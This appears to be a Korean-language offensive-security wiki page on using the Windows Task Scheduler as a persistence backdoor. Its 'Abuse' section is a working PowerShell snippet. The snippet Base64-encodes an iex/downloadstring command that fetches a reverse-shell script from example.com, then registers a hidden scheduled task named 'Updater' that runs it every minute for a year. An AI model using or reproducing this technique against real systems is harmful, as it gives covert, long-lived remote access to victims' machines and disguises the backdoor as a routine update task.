Task Scheduler

작업 스케줄러에 백도어를 설치하면 원하는 주기 혹은 시간에 맞춰 비콘 연결을 지속할 수 있습니다.

Abuse

# Invoke-Expression을 통해 다운로드 하는 명령어 Base64로 저장
$str = 'iex ((new-object net.webclient).downloadstring("http://example.com/reverse.ps1"))'
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))

# Updater 작업 스케줄러 생성
$TaskName = "Updater"
$PSEXE = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
$EncodedArgs = "-nop -w hidden -enc <Base64 Encoded Command>"
$Action = New-ScheduledTaskAction -Execute $PSEXE -Argument $EncodedArgs
$Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1) -RepetitionDuration (New-TimeSpan -Days 365)
$Principal = New-ScheduledTaskPrincipal -UserId "$env:USERNAME" -LogonType Interactive
Register-ScheduledTask -TaskName $TaskName -Action $Action -Trigger $Trigger -Principal $Principal

References

Last updated

Was this helpful?